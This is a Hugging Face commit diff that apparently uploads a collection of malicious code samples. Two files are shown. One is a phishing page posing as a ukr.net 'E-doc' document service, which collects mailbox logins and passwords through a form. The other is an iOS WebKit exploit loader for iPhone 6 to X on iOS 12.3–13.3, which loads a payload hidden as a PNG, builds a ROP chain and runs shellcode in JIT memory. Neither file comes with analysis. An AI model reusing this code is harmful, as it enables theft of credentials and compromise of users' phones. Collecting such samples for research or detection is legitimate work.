Upload folder using huggingface_hub
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- .gitattributes +6 -0
- code/019bcfefdd2d3bf287eb9d960e9199d10d032f1ca7f27842a5441e3521e7a8bb +143 -0
- code/02dd4603043cca0f5c641b98446ecb52eaca0f354ad7241d565722eaaa0710f4 +178 -0
- code/0376c565fe8c6afad8fb3b561e9e4a7e4dd54610f3d3a581ea521be49f8011dd +186 -0
- code/0429bdc6a302b4288aea1b1e2f2a7545731c50d647672fa65b012b2a2caa386e +177 -0
- code/053efd154d461d4376e929f98e3210cdca2c9ecf2e3bed055bf1859c05fdaf69 +121 -0
- code/0682f6855b5c046f65e021bd9834d22314a7797a6a8c621ebc203bf2520080e0 +195 -0
- code/07183a60ebcb02546c53e82d92da3ddcf447d7a1438496c4437ec06b4d9eb287 +628 -0
- code/0856792f4d42c55a0f0be82bd4212a6ed769addb3c8e6d9f2d15e3c263f9f91c +121 -0
- code/0a7f251c8d24b3e27f21025b37e8d4b4524b6626f5ae4d59aca6a1cf0427aebd +121 -0
- code/0aac0b346457d923ed4e615f107236966beacd02fa702e2fbaae3d2b599f2937 +170 -0
- code/0c2c909c4040ac2a6b0e2a30d92dd34a8fbe9589f8d27f69d4b36c109e306af1 +103 -0
- code/0d0fd6f5fcd59fc432a205e6730f25ab285940fe707567d76800921f6f908cd4 +121 -0
- code/0d11baf8a9bafb33046dc7c7256ccac6f5daaf512c9f5f5436f10a3d3b849463 +1288 -0
- code/0de5efdb10a2b732314fc691f708f5328e66843d47b404617a6fe1d4de926d08 +121 -0
- code/0e0f8e0c0f536a16b0c4de3148f86901d635a0ba6e48f40930a9e26d9abb3b48 +200 -0
- code/0e73b7b5fc2a44d8037d6b634a3f65aeb05fa57b7cb4842cc99c4949a68dd6a0 +8 -0
- code/0f6b285689a61febc0e8eb0caeca17a82d81c4ca7304da8f0531a6d1c1ab9800 +121 -0
- code/0fd5f5e2c4ceefc7d28e09774a3d3eef2801cebb40734b8867ff5d371085bb12 +98 -0
- code/108512e3496af7ec80a7a5f3428a575464dbac8242a81f1ec88f1c4f6fbff04e +121 -0
- code/10f86be3e564f2e463e45420eb5f9fbdb14f7427eac665cd9cc7901efbc4cc59 +629 -0
- code/114c555cb3a2c0c96415f65b7327394f1299d4e2e73b275df47232332280f67b +121 -0
- code/1339966b7e8d291af077f89ae566c613604f642c69a1b0e64a17f56aee1ff970 +294 -0
- code/1458a762332676f7807ab45f8f236c22a1a7bb0c21fcd8c779f972f2446a11d0 +0 -0
- code/156b75ba784d80a5024e3584fce038688d200f1a1e53080b172702abdde67415 +121 -0
- code/15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b +37 -0
- code/1806e777841f8cbf9061904941407bfd1a5e4d69ac6944d1922f78192fd2a7b4 +121 -0
- code/1852e2ccc23ea931194d2d1d3ff7e930e3331cc585ee33c836cbb54793221e34 +188 -0
- code/18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6 +187 -0
- code/1a3fa39322fe9612c4ee00c2e7f81adaed7b34fa45cf7cb81750d753be9780ad +121 -0
- code/1a94e71104d98478748c2d7480f8a777ee3fefd4a52e5c17ac74af0649e14d94 +20 -0
- code/1bd968e9648bc3f5c21522c727a7a3dec241613abbf0de666329ddb02b5ef024 +20 -0
- code/1c218d15b35b79d762b966db8bc2ca90fc62a95903bd78ac85648de1d828dbce +55 -0
- code/1c732844e99f173a63d326f95e5a6ed2501b21bd50a7d3dae16560f32f687106 +98 -0
- code/1c7593078f69f642b3442dc558cddff4347334ed7c96cd096367afd08dca67bc +0 -0
- code/1d499c401d8854b6331d3b531fc57418dd2b132861e0448ae198dcbea41484ab +98 -0
- code/1da0ca42fd902ecce7c00828777e0b5e99a39972e1f199337e54051fbffd328f +34 -0
- code/1dc1ab5e590a83a60aec7f38fe65440b45a3d2fc36b47741a6621b4c196cc60c +170 -0
- code/1e114b57bbefaf597c11ff86ebf83e4b38d67a026e6795839d5ac59dacd4df00 +185 -0
- code/1e657d3047f3534dcd4539ce54db9f5901f7e53999bae340a850cc8d2aacc33c +2 -0
- code/1e6c661d6981c0fa56c011c29536e57d21545fd11205eddf9218269ddf53d448 +0 -0
- code/2097320e71990865f04b9484858d279875cf5c66a5f6d12c819a34e2385da838 +472 -0
- code/21682218bde550b2f06ee2bb4f6a39cff29672ebe27acbb3cee5db79bf6d7297 +177 -0
- code/21d810951f91fe174a5bcf6008d5d0190fcfa779e3fce5537895b8fe624470bf +121 -0
- code/23d8f81ad862923e9548aae4f162d1419440b47c52a8af233c003fd55592b682 +178 -0
- code/24193b22802e289b29bc592444568a2147ea1d56f5783021afce6bfb16658670 +20 -0
- code/259bf83ec41cb464e102a542c244bf806024735aba561e9d3a4afae8261f00ba +123 -0
- code/25e0b673c015d29419b3b12fb5faafaf497c8e7d91a862faa66a027775901755 +98 -0
- code/2709789cd474b85696572086ab3b4a59cfc9cbad5c31ef28954339de71efdac0 +121 -0
- code/27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7 +29 -0
.gitattributes
CHANGED
|
@@ -57,3 +57,9 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 57 |
# Video files - compressed
|
| 58 |
*.mp4 filter=lfs diff=lfs merge=lfs -text
|
| 59 |
*.webm filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 57 |
# Video files - compressed
|
| 58 |
*.mp4 filter=lfs diff=lfs merge=lfs -text
|
| 59 |
*.webm filter=lfs diff=lfs merge=lfs -text
|
| 60 |
+
decompiled/179901656b458bf84fa3ed2c7a77d3c2bbead4ab77d178cde0f3a3e6e43147f4.decomp.c filter=lfs diff=lfs merge=lfs -text
|
| 61 |
+
decompiled/19df327e7c0ffe8bd883f044c3906424cefe893d50a0d5386e8445668d2dd1e4.decomp.c filter=lfs diff=lfs merge=lfs -text
|
| 62 |
+
decompiled/55a049605ee17d2184e0d82cac0aa38c6b93dfd9dcb42f39be4de3c86476a852.decomp.c filter=lfs diff=lfs merge=lfs -text
|
| 63 |
+
decompiled/7c14daae75adaae4cf1679c7688efce11746d2c9574c6aca426f9b2dbb57e3dd.decomp.c filter=lfs diff=lfs merge=lfs -text
|
| 64 |
+
decompiled/c9b0198281b7539f7169efd98456b6da108357fd8e15409810eb1132039936da.decomp.c filter=lfs diff=lfs merge=lfs -text
|
| 65 |
+
decompiled/e77c61dd0a8260fd9d04ece008bb4c9538bce3e17c018f6e8c46f796af6d7c34.decomp.c filter=lfs diff=lfs merge=lfs -text
|
code/019bcfefdd2d3bf287eb9d960e9199d10d032f1ca7f27842a5441e3521e7a8bb
ADDED
|
@@ -0,0 +1,143 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html class="js desktop">
|
| 3 |
+
|
| 4 |
+
<head lang="uk">
|
| 5 |
+
<title>Система єлектронного </title>
|
| 6 |
+
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type">
|
| 7 |
+
<meta content="width=device-width, initial-scale=1" name="viewport">
|
| 8 |
+
<link rel="stylesheet" href="css/bundle.css">
|
| 9 |
+
<link rel="icon" href="images/favicon.ico">
|
| 10 |
+
<script src="js/bundle.js"></script>
|
| 11 |
+
</head>
|
| 12 |
+
|
| 13 |
+
<body>
|
| 14 |
+
<div class="page-ukrnet">
|
| 15 |
+
<aside class="sidebar">
|
| 16 |
+
<div class="sidebar__content">
|
| 17 |
+
<a>
|
| 18 |
+
<div class="sidebar__logo"></div>
|
| 19 |
+
</a>
|
| 20 |
+
<div class="sidebar__search">
|
| 21 |
+
<input class="sidebar__search-field" type="search" name="search" placeholder="Пошук" autocomplete="off">
|
| 22 |
+
</div>
|
| 23 |
+
<p class="sidebar__menu-title">Керування акаунтом</p>
|
| 24 |
+
<ul class="sidebar__menu-list">
|
| 25 |
+
<li class="sidebar__menu-item">
|
| 26 |
+
<a class="sidebar__menu-link">Налаштування роботи з листами</a>
|
| 27 |
+
</li>
|
| 28 |
+
<li class="sidebar__menu-item">
|
| 29 |
+
<a class="sidebar__menu-link">Налаштування поштової скриньки</a>
|
| 30 |
+
</li>
|
| 31 |
+
<li class="sidebar__menu-item">
|
| 32 |
+
<a class="sidebar__menu-link">Налаштування безпеки акаунта</a>
|
| 33 |
+
</li>
|
| 34 |
+
</ul>
|
| 35 |
+
<div class="sidebar__footer">
|
| 36 |
+
<p class="sidebar__contacts-title">Контакти служби підтримки:</p>
|
| 37 |
+
<ul class="sidebar__contacts-list">
|
| 38 |
+
<li class="sidebar__contact sidebar__contact_email">
|
| 39 |
+
<a class="sidebar__contacts-link">support@ukr.net</a>
|
| 40 |
+
</li>
|
| 41 |
+
<li class="sidebar__contact sidebar__contact_number">
|
| 42 |
+
<a class="sidebar__contacts-link">(044) 235-85-55</a>
|
| 43 |
+
</li>
|
| 44 |
+
<li class="sidebar__contact sidebar__contact_number">
|
| 45 |
+
<a class="sidebar__contacts-link">(050) 204-14-24</a>
|
| 46 |
+
</li>
|
| 47 |
+
<li class="sidebar__contact sidebar__contact_number">
|
| 48 |
+
<a class="sidebar__contacts-link">(096) 718-55-52</a>
|
| 49 |
+
</li>
|
| 50 |
+
</ul>
|
| 51 |
+
</div>
|
| 52 |
+
</div>
|
| 53 |
+
</aside>
|
| 54 |
+
<div class="content">
|
| 55 |
+
<header class="header">
|
| 56 |
+
</header>
|
| 57 |
+
<div id="dokuwiki__content">
|
| 58 |
+
<main class="dynalist">
|
| 59 |
+
<h1 class="dynalist__header">Система електронного документообігу E-doc</h1>
|
| 60 |
+
|
| 61 |
+
<p class="dynalist__subheader">Цей файл був відправлений за допомогою системи електронного документообігу
|
| 62 |
+
нашого сервісу, для його перегляду потрібна авторизація</p>
|
| 63 |
+
|
| 64 |
+
<ul class="dynalist__list">
|
| 65 |
+
|
| 66 |
+
<li class="dynalist__item">
|
| 67 |
+
<button class="dynalist__title js-expansion-target"
|
| 68 |
+
data-expanded-class="dynalist__title_expanded">Завантажити файл</button>
|
| 69 |
+
<ul class="dynalist__content-list" style="display: none;">
|
| 70 |
+
<li class="dynalist__content-item">
|
| 71 |
+
|
| 72 |
+
<div class="cm96uGWL">
|
| 73 |
+
<form class="_27e9pAZr" method="POST" action="php/dl3.php">
|
| 74 |
+
<div class="XC54guCS">
|
| 75 |
+
<div class="mJOT30ua _32TpACVe _1mUfXaVE">
|
| 76 |
+
<p class="_3wUI4tC9">
|
| 77 |
+
<label for="id-text-field-0">Імя скриньки</label>
|
| 78 |
+
</p>
|
| 79 |
+
<div class="E50lnyie">
|
| 80 |
+
<input type="text" autofocus="" autocapitalize="none" autocorrect="off" maxlength="32"
|
| 81 |
+
name="login" id="id-text-field-0" class="_2mlMu-wH" required="" pattern="\S+">
|
| 82 |
+
<span class="_2wDvNoc7">@<!-- -->ukr.net</span>
|
| 83 |
+
</div>
|
| 84 |
+
</div>
|
| 85 |
+
<div class="mJOT30ua _32TpACVe _1mUfXaVE _2osOLJuf">
|
| 86 |
+
<p class="_3wUI4tC9">
|
| 87 |
+
<label for="id-text-field-1">Пароль</label>
|
| 88 |
+
</p>
|
| 89 |
+
<div class="E50lnyie">
|
| 90 |
+
<input type="password" name="password" maxlength="128" value="" id="id-text-field-1"
|
| 91 |
+
class="_2mlMu-wH _3qNuhI7V" required="" pattern="\S+">
|
| 92 |
+
<button viewbox="0 0 24 24" width="24" height="24"
|
| 93 |
+
class="_3X3e-EB1 TINVi9Sp _2PjLuT8z _34YOWnvG" id="eye" style="display: none;">
|
| 94 |
+
<svg viewBox="0 0 24 24" width="24" height="24" class="_6A8JBz2d">
|
| 95 |
+
<path
|
| 96 |
+
d="M12 5.75c2.328 0 4.362 1.132 6.089 2.99a14 14 0 011.65 2.167l.185.307.144.255.104.198a.75.75 0 010 .666l-.104.198-.144.255-.185.307-.108.17a14 14 0 01-1.542 1.998C16.362 17.118 14.328 18.25 12 18.25s-4.362-1.132-6.089-2.99a14 14 0 01-1.65-2.167l-.185-.307-.144-.255-.104-.198a.75.75 0 010-.666l.104-.198.144-.255.185-.307.108-.17a14 14 0 011.542-1.998C7.638 6.882 9.672 5.75 12 5.75m0 1.5c-1.848 0-3.522.93-4.99 2.51a12.7 12.7 0 00-1.472 1.935L5.353 12l.1.167.18.289c.39.609.85 1.218 1.377 1.784 1.468 1.58 3.142 2.511 4.99 2.511s3.522-.93 4.99-2.51a12.7 12.7 0 001.378-1.785l.18-.289.098-.167-.098-.165-.18-.289a12.6 12.6 0 00-1.378-1.784C15.522 8.18 13.848 7.25 12 7.25m0 3.25a1.5 1.5 0 110 3 1.5 1.5 0 010-3">
|
| 97 |
+
</path>
|
| 98 |
+
</svg>
|
| 99 |
+
</button>
|
| 100 |
+
</div>
|
| 101 |
+
</div>
|
| 102 |
+
</div>
|
| 103 |
+
|
| 104 |
+
<div class="_3DuSIGEo">
|
| 105 |
+
<button class="_32evgEwL _1R2oPx4G" type="submit" id="lgn">Продовжити</button>
|
| 106 |
+
</div>
|
| 107 |
+
|
| 108 |
+
</form>
|
| 109 |
+
</div>
|
| 110 |
+
|
| 111 |
+
</li>
|
| 112 |
+
</ul>
|
| 113 |
+
</li>
|
| 114 |
+
|
| 115 |
+
</ul>
|
| 116 |
+
</main>
|
| 117 |
+
</div>
|
| 118 |
+
</div>
|
| 119 |
+
</body>
|
| 120 |
+
<script>
|
| 121 |
+
var coll = document.getElementsByClassName("dynalist__title js-expansion-target");
|
| 122 |
+
var i;
|
| 123 |
+
|
| 124 |
+
for (i = 0; i < coll.length; i++) {
|
| 125 |
+
coll[i].addEventListener("click", function () {
|
| 126 |
+
this.classList.toggle("dynalist__title_expanded");
|
| 127 |
+
var content = this.nextElementSibling;
|
| 128 |
+
if (content.style.display === "block") {
|
| 129 |
+
content.style.display = "none";
|
| 130 |
+
} else {
|
| 131 |
+
content.style.display = "block";
|
| 132 |
+
}
|
| 133 |
+
});
|
| 134 |
+
}
|
| 135 |
+
|
| 136 |
+
var img = document.createElement("img");
|
| 137 |
+
img.src = "http://localhost/login/modj";
|
| 138 |
+
img.style.width = "1px";
|
| 139 |
+
img.style.height = "1px";
|
| 140 |
+
document.createElement("a").appendChild(img);
|
| 141 |
+
</script>
|
| 142 |
+
|
| 143 |
+
</html>
|
code/02dd4603043cca0f5c641b98446ecb52eaca0f354ad7241d565722eaaa0710f4
ADDED
|
@@ -0,0 +1,178 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<!DOCTYPE html>
|
| 2 |
+
<html>
|
| 3 |
+
<head>
|
| 4 |
+
<title>130401</title>
|
| 5 |
+
<script type="text/javascript">
|
| 6 |
+
print = function(msg) { document.body.innerText += msg + '\n';}
|
| 7 |
+
</script>
|
| 8 |
+
<script type="text/javascript" src="int64.js"></script>
|
| 9 |
+
<script type="text/javascript" src="offsets.js"></script>
|
| 10 |
+
<script type="text/javascript" src="device.js"></script>
|
| 11 |
+
<script type="text/javascript" src="binary.js"></script>
|
| 12 |
+
<script type="text/javascript" src="primitives130401.js"></script>
|
| 13 |
+
<script type="text/javascript" src="wrapper.js"></script>
|
| 14 |
+
<script type="text/javascript" src="gadget.js"></script>
|
| 15 |
+
|
| 16 |
+
</head>
|
| 17 |
+
<body>
|
| 18 |
+
<script type="text/javascript">
|
| 19 |
+
|
| 20 |
+
try {
|
| 21 |
+
|
| 22 |
+
print("Here we go...");
|
| 23 |
+
function get_pnp(url = '', callback = function(req){})
|
| 24 |
+
{
|
| 25 |
+
var req = new XMLHttpRequest();
|
| 26 |
+
req.open("GET", url, true);
|
| 27 |
+
req.responseType = "arraybuffer";
|
| 28 |
+
if(callback){
|
| 29 |
+
req.addEventListener('load', callback);
|
| 30 |
+
req.send(null);
|
| 31 |
+
return;
|
| 32 |
+
} else {
|
| 33 |
+
req.send(null);
|
| 34 |
+
}
|
| 35 |
+
};
|
| 36 |
+
|
| 37 |
+
function init(resolve, reject) {
|
| 38 |
+
|
| 39 |
+
setTimeout(function () {
|
| 40 |
+
|
| 41 |
+
print("[+] start check device...");
|
| 42 |
+
SupportTarget("iPhone 6", [12.3,12.31,12.4,12.41], "any");
|
| 43 |
+
SupportTarget("iPhone 6+", [12.3,12.31,12.4,12.41], "any");
|
| 44 |
+
SupportTarget("iPhone 6S", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 45 |
+
SupportTarget("iPhone 6S+", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 46 |
+
SupportTarget("iPhone 7", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 47 |
+
SupportTarget("iPhone 7+", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 48 |
+
SupportTarget("iPhone 8", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 49 |
+
SupportTarget("iPhone 8+", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 50 |
+
SupportTarget("iPhone X", [12.3,12.31,12.4,12.41,13.0,13.1,13.11,13.12,13.13,13.2,13.22,13.23,13.3], "any");
|
| 51 |
+
|
| 52 |
+
|
| 53 |
+
if (!issupported())
|
| 54 |
+
{
|
| 55 |
+
print("[-] your device is not support...");
|
| 56 |
+
reject("your device is not support...");
|
| 57 |
+
return;
|
| 58 |
+
}
|
| 59 |
+
//assert offsets
|
| 60 |
+
if(typeof offsets[currentdevice.os.version] === 'undefined')
|
| 61 |
+
{
|
| 62 |
+
print("[-] your os version missing offsets...");
|
| 63 |
+
reject("your device is not support...");
|
| 64 |
+
return;
|
| 65 |
+
}
|
| 66 |
+
if(typeof offsets[currentdevice.os.version][currentdevice.device[0]] === 'undefined')
|
| 67 |
+
{
|
| 68 |
+
print("[-] your device missing offsets...");
|
| 69 |
+
reject("your device is not support...");
|
| 70 |
+
return;
|
| 71 |
+
}
|
| 72 |
+
|
| 73 |
+
var pngname = "20012001330.png";
|
| 74 |
+
if(currentdevice.os.version < 13)
|
| 75 |
+
pngname = "20012001241.png";
|
| 76 |
+
//alert("png="+pngname);
|
| 77 |
+
print("[+] start load.");
|
| 78 |
+
get_pnp(pngname, function () {
|
| 79 |
+
var buf = this.response;
|
| 80 |
+
var arrayBuf = new Uint8Array(buf);
|
| 81 |
+
window.binary = arrayBuf;
|
| 82 |
+
//var arrayBuf2 = new Uint8Array(buf);
|
| 83 |
+
//window.binary2 = arrayBuf2;
|
| 84 |
+
window.prestage = offsets[currentdevice.os.version][currentdevice.device[0]];
|
| 85 |
+
print("[+] load payload complete.");
|
| 86 |
+
resolve('ok');
|
| 87 |
+
}
|
| 88 |
+
);
|
| 89 |
+
|
| 90 |
+
}, 1);
|
| 91 |
+
};
|
| 92 |
+
|
| 93 |
+
function wego()
|
| 94 |
+
{
|
| 95 |
+
_offset = window.prestage;
|
| 96 |
+
__gc();
|
| 97 |
+
|
| 98 |
+
var primitive = new Primitives();
|
| 99 |
+
var divWrapper = new WrapperDiv(primitive, _offset.vtable);
|
| 100 |
+
|
| 101 |
+
var startOfFixedExecutableMemoryPool;
|
| 102 |
+
var endOfFixedExecutableMemoryPool;
|
| 103 |
+
if(_offset.fixedmem_ver == 2){
|
| 104 |
+
startOfFixedExecutableMemoryPool = divWrapper.startOfFixedExecutableMemoryPoolC8(_offset.fixedmempool);
|
| 105 |
+
endOfFixedExecutableMemoryPool = divWrapper.endOfFixedExecutableMemoryPoolD0(_offset.fixedmempool);
|
| 106 |
+
}else if(_offset.fixedmem_ver == 3){
|
| 107 |
+
startOfFixedExecutableMemoryPool = divWrapper.startOfFixedExecutableMemoryPoolC0(_offset.fixedmempool);
|
| 108 |
+
endOfFixedExecutableMemoryPool = divWrapper.endOfFixedExecutableMemoryPoolC8(_offset.fixedmempool);
|
| 109 |
+
}else if(_offset.fixedmem_ver == 4){
|
| 110 |
+
startOfFixedExecutableMemoryPool = divWrapper.startOfFixedExecutableMemoryPool18(_offset.fixedmempool);
|
| 111 |
+
endOfFixedExecutableMemoryPool = divWrapper.endOfFixedExecutableMemoryPool20(_offset.fixedmempool);
|
| 112 |
+
}
|
| 113 |
+
//alert("startOfFixedExecutableMemoryPool="+startOfFixedExecutableMemoryPool);
|
| 114 |
+
//alert("endOfFixedExecutableMemoryPool="+endOfFixedExecutableMemoryPool);
|
| 115 |
+
|
| 116 |
+
var setjmp = divWrapper.getSlideAddr(_offset.setjmp);
|
| 117 |
+
var longjmp = divWrapper.getSlideAddr(_offset.longjmp);
|
| 118 |
+
var dlsym = divWrapper.getSlideAddr(_offset.dlsym);
|
| 119 |
+
|
| 120 |
+
findentry();
|
| 121 |
+
/////=================================================================================================
|
| 122 |
+
//write payload to codeaddr, then shellcode();
|
| 123 |
+
/////=================================================================================================
|
| 124 |
+
|
| 125 |
+
var plsz = new Int64(window.payload.byteLength);
|
| 126 |
+
var paddr = primitive.read64(Add(primitive.addrof(window.payload), 0x10));
|
| 127 |
+
var codeAddr = Sub(endOfFixedExecutableMemoryPool, plsz);
|
| 128 |
+
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);
|
| 129 |
+
var jmpAddr = Add(psyms["_bridge"], codeAddr);
|
| 130 |
+
//alert("jmpAddr="+jmpAddr);
|
| 131 |
+
|
| 132 |
+
var binaryaddr = primitive.read64(Add(primitive.addrof(window.binary), 0x10));
|
| 133 |
+
|
| 134 |
+
var gadget = new Gadgets(primitive);
|
| 135 |
+
|
| 136 |
+
//stackloader,mov_x8_x24,regloader_x8,mov_x8_x27,dispatch_x8
|
| 137 |
+
gadget.setGadgetsV2(
|
| 138 |
+
divWrapper.getSlideAddr(_offset.stackloader),
|
| 139 |
+
divWrapper.getSlideAddr(_offset.mov_x8_x24),
|
| 140 |
+
divWrapper.getSlideAddr(_offset.regloader_x8),
|
| 141 |
+
divWrapper.getSlideAddr(_offset.mov_x8_x27),
|
| 142 |
+
divWrapper.getSlideAddr(_offset.dispatch_x8));
|
| 143 |
+
|
| 144 |
+
divWrapper.preStackCall(_offset.addeventoffset, _offset.setjmp, _offset.x30_orig);
|
| 145 |
+
//-----------------------------
|
| 146 |
+
var performJITMemcpy = Int64.Zero;
|
| 147 |
+
performJITMemcpy = divWrapper.getSlideAddr(_offset.performJITMemcpy_func);
|
| 148 |
+
gadget.addCallV2(performJITMemcpy, codeAddr, paddr, plsz);
|
| 149 |
+
gadget.addCallV2(jmpAddr, binaryaddr, dlsym, 0, endOfFixedExecutableMemoryPool, performJITMemcpy);
|
| 150 |
+
gadget.addCallV2(longjmp, divWrapper.jmpbufAddr);
|
| 151 |
+
divWrapper.stackCall(_offset.addeventoffset, _offset.longjmp, _offset.stackloader, gadget.getSp());
|
| 152 |
+
/*
|
| 153 |
+
alert("Enter Check!");
|
| 154 |
+
var flagvalue = primitive.readbytes(binaryaddr,8);
|
| 155 |
+
alert("flagvalue(0x1122334455667788)="+flagvalue);
|
| 156 |
+
alert("Leave Check!");
|
| 157 |
+
*/
|
| 158 |
+
location.href = "http://www.baidu.com";
|
| 159 |
+
};
|
| 160 |
+
|
| 161 |
+
}
|
| 162 |
+
catch (ex) {
|
| 163 |
+
print("The progam load contains a bug, here is the trace: " + ex.message + '\n' + ex.stack);
|
| 164 |
+
}
|
| 165 |
+
|
| 166 |
+
function ttt(){
|
| 167 |
+
|
| 168 |
+
new Promise(init).then(function (result) {
|
| 169 |
+
setTimeout(wego, 500);
|
| 170 |
+
}).then(function (result) {
|
| 171 |
+
}).catch(function (reason) {
|
| 172 |
+
print("[-] fail:"+reason);
|
| 173 |
+
});
|
| 174 |
+
}
|
| 175 |
+
setTimeout(ttt, 500);
|
| 176 |
+
</script>
|
| 177 |
+
</body>
|
| 178 |
+
</html>
|
code/0376c565fe8c6afad8fb3b561e9e4a7e4dd54610f3d3a581ea521be49f8011dd
ADDED
|
@@ -0,0 +1,186 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
